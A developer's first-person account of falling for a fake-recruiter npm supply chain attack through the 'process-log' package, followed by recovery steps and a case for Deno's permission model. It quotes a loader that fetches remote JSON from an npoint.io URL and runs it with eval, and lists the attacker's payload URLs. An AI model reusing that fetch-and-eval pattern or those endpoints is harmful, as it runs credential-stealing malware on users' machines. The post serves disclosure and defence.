Npm Run Hack:Me - A Supply Chain Attack Journey
I thought I was being recruited. In reality, I had just been hacked. I had given hackers user-level permissions to my system. All I had done was run npm run start
.
How did I end up here?
I am a freelance developer - at least partly. Since I do freelancing on and off, my LinkedIn profile is pretty accurate. It includes a few of my previous employers, including a few blockchain and Web 3 related projects.
I frequently receive messages from recruiters in my inbox. At this point, I’m casually browsing for new freelance opportunities. And so far, Web 3 is exciting, fast-paced, and well-paying. So, yes, I was interested in another Web 3 project.
When a recruiter messaged me about a new Web3 project, my initial feeling was: “let’s see where this goes”. The recruiter’s profile looked legitimate - she had been on LinkedIn since 2011 and had 500+ connections, of which a few we shared. I replied. They responded that their CTO was very impressed with my profile (it is hilarious to reflect on this) and wanted to schedule a meeting. I used Calendly to schedule the meeting. The recruiter asked if I could perform a few preliminary dev tasks as part of the tech interview. The project was open source; since the narrative is shifting more and more towards open source tooling nowadays, this did not trigger an alarm bell.
The tasks given were so trivial that even asking why these tasks would matter would be more work than actually just doing them. So, I implemented a few tiny changes, shared them, and was done within about 5-10 minutes. I remember when running npm install && npm run start
having a very brief thought about whether this would be a stupid thing to do - as I’d heard about supply chain attacks before.
Later that evening, the CTO ghosted me for our meeting. Also the recruiter was not responding. But hey, it was late (8PM) and they could have missed my messages or could be out of office already.
Attack breakdown
After a night of sleep, a bad feeling about being ghosted by both the recruiter and CTO, and a gut feeling about the server I ran locally, I decided to turn this project inside out. I browsed quickly through most of the code, but could not find anything alarming. Moving on to the dependencies. Since I’ve been in the Node.js ecosystem since release v0.10, I know a lot of packages. Very quickly I noticed an unfamiliar NPM package: process-log
. The NPM registry reported the very alarming number of ~100 weekly downloads.
I went into cyber security research mode, along with my assistants OpenAI and Claude.
So, what just happened on my machine? Process-log starts a (second) Node.js server, which upon request fetches a JSON “cookie” object from a remote storage bucket. The returned JSON object contains obfuscated and decompressed JavaScript code. The original server executes the “cookie” using eval
. And you’ve got malware.
The obfuscated code could be any of these attacks listed in the .env
file below . Very likely, the attackers could also remote control your machine as a consequence. Although I could not find any evidence of the latter.
The content of the .env
file is interesting
ID_91="https://api.npoint.io/13ad0e1b29c9be2a0563"
ID_88="https://api.npoint.io/af96f052fd6dcb19235c"
ID_77="https://api.npoint.io/0d88d78a265d8e87c1b9"
ID_66="https://api.npoint.io/159a15993f79c22e8ff6"
ID_65="https://api.npoint.io/9f8dfa3cb9cc1a8eb7bb"
ID_55="https://api.npoint.io/025af15878afe682bada"
You can find the entire malicious JSON content in this repository, along with a “demystified” interpretation of the code (according to Claude, so it may not be 100% accurate).
If you do not want to read through all the code, here’s the gist of what it does:
- it starts a persistent websocket connection with the attacker’s server
- it tries to read all your browser cookies, any Electron data, all your keychains, scans your drive for popular files that contain secrets (.env, .config, .json, .sqlite, .ini, etc) and tries to find common Web3 configuration files (hardhat, truffle, etc)
- all data found is uploaded to the server controlled by the attacker
- this process runs at a 15-second interval, to collect more and more data on you
This is extremely concerning. I’ve been unable to find the original project repo that I ran locally as part of the tech assignment. However, here is another repository that basically deploys the same attack, but without the intermediary step of relying on an NPM package. This is the same approach as what happened to me, but implemented a bit simpler and more direct.
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
const rs = await axios.get("https://api.npoint.io/4af1d76b30dd6240c3ce");
eval(rs.data.cookie);
})();
Recovery
I reported the process-log
package at NPM, but you can still inspect the original source this package was pointing to.
I contacted the owner of npoint.io about how his service is used by hackers. Npoint.io implements basic email/password auth, so chances are very slim we find anything useful. My guess is they used a throwaway email service, while hiding their actual IP address. But then again: hackers are also human. So, who knows.
After doing this research, I wiped my machine completely. I revoked all API keys I could remember using. I changed passwords for the majority of the systems and services. I verified I am using 2FA as much as possible.
Financially, the impact is limited and can I count myself to be very lucky. To setup my computer properly took me more time though then this research. Mentally, it took me a while to get some motivation back. Believe it or not, but I consider myself to be a security aware developer. To this day I’m reflecting what I should have done differently.
I’m not a security researcher by any means, but I know a thing or two about security. Was it naive? Yes. Was I rushing things? Yes. But more over, I believe I just became a victim of a spray-and-pray supply chain attack. Does the ecosystem also bear some responsibility? I think so.
Just ask yourself: how often do you run something in the lines of npm install && npm run start
?
Security in the Node.js ecosystem
My first reaction was: f*gg this, I’m moving fully to Golang and Elixir. But that does not help me nor anyone else, since Golang and Elixir also have a supply chain attack surface.
How can I prevent this from happening again? I know I’m not the only one, and I know there will be others in the future. To my judgement, the Node.js ecosystem security is not very concerned about supply chain attacks or security in general. Yes, as developer you always have end responsibility, but the ecosystem should provide developers with tools that allow them to quickly assess security implications.
At this point there are very few tools that allow me as a developer to make a quick assessment whether I can trust a project or not. When you run node.js very-secure.js
or npm start
you are handing the keys to your system to all the maintainers of the packages you use. And we all know that even in small-ish projects node_modules contain a kazillion dependencies. Everyone of them being an potential threat.
A more secure Node.js
I started researching potential methods we can deploy to prevent supply chain attacks in the future. I started brainstorming and researching existing and potentially solutions. The ideal solution is one that integrates natively with existing tooling in the ecosystem. So, I’m thinking we need a secure by default package manager AND runtime. Because lets be real: you and I are not going to scan through all NPM dependencies every time you run npm install
or npm start
.
So, would a secure package manager do any good? How would that look like?
- Install packages in a chrooted process, using very low privileged permissions
- Allowing no access to the filesystem
- Blocking any lifecycle scripts (pre-, install and post-install) by default, only allow them upon whitelisting
- And off course verify package signatures upon installation
Theoretically this could work and provide some safe guards against supply chain attacks. Enter Bun. Bun has a feature to whitelist pre- and postinstall scripts for specific packages. Although this is a step in the right direction, this is not much more than a bandaid solution (sorry Bun). The runtime is still exposed as much as when using Node.js.
Enter Lavamoat (developed by the Metamask team) and SES. A set of tools that allow you to lockdown the Node.js API and runtime by whitelisting permissions on a per package basis. So we can mitigate supply chain attacks in Node.js! Yet, these approaches are not very easy to adopt.
Lets say this secure package manager would exist, or I would use Bun, plus I would have implemented Lavamoat and SES in my stack. Would this stack prevent supply chain attacks? Probably it would. The problem of this approach is we need to adopt a whole new framework on top of Node.js, just to make it more secure. The cost-benefit ratio is really bad for most companies. If you want to have something secure, you should not have to it manually. The runtime itself should be secure by default. Otherwise people will always find ways to just not use it correctly or disable it all together.
The most secure Node.js runtime
Turns out Ryan Dahl, the creator of Node.js, was light years ahead of me. 6 years ago (!) he mentioned a few regrets he has about Node.js. He even provided a better solution: Deno. I’ve toyed around with Deno years ago, but never truly grasped the whole purpose of it. And even worse - I found the security model to be pretty annoying: why should I append --allow-net
and --allow-env
when you run a web server? Basically every web server needs these permissions, right? Turns out I was being shortsighted. And I guess I’m not alone in this.
Deno’s security model give us the tools to inspect at granular level which permission you allow. It clicked when I saw this command:
deno run --alow-net="example.com" --allow-write="/.tmp/logs" --allow-run="curl" --allow-env=HOME,FOO server.ts
This Deno server can fetch data from example.com (but no other websites), write to /.tmp/logs
(but read or write nothing else on the filesystem), run the curl
command on my machine, and access the HOME
and FOO
environment variables. This is just a glimpse, you can build much more granular permission patterns if you want.
This is off course no silver bullet. Deno applies this security model to the entire process, but does not allow for per package permissions (like Lavamoat does). As Ryan Dahl mentions in this video [^1] they don’t know how to do that, as they don’t have the right primitives in V8 to implement a more granular approach. I guess if you need more security beyond what Deno’s security model, you might want to consider using Lavamoat on top. Beyond that, just pick another language/runtime.
Great, we have a secure by default runtime and got rid of the package manager in the process. Great, all fairies and rainbows right? Nope. When doing more research on example Deno projects, maintained by the Deno team, I keep on seeing this:
deno run --allow-net --allow-write server.ts
The Deno team is implicitly advocating allow all permissions to new developers entering the ecosystem. If we as developers get familiar with these overly permissive practises, we as well could keep using Node.js. One of the biggest benefits of using Deno over Node.js should not be defeated. Deno has given us a model that allows us developers to inspect in a few seconds the security implications of a project. To my knowledge, this feature does not exist in other ecosystems like Python, Golang, Rust, Zig, Rails or Elixir. Let’s adopt the right approach now we still can.
Would these measures prevent me - or anyone else - from making a similar mistake the future? No. I still can run deno task start
, but at least Deno gave me as developer the tools to inspect the start
task quickly to identify which permissions I will just allow the process.
If you got this far, you probably are not surprised that I will be migrating any personal Node.js project to Deno as off today. Some other changes I am considering of implementing:
- Run untrusted code in a (VS Code) virtual workspace, Docker or a sandboxed environment
- Secure any local .env files. SOPS, Hashicorp Vault or Infisical come to mind here. But there are a kazillion other tools who can help you out here
- Consider your computer as a workstation, not as your digital home. Can you switch to another computer to another in 15 minutes and be productive?
Stay safe!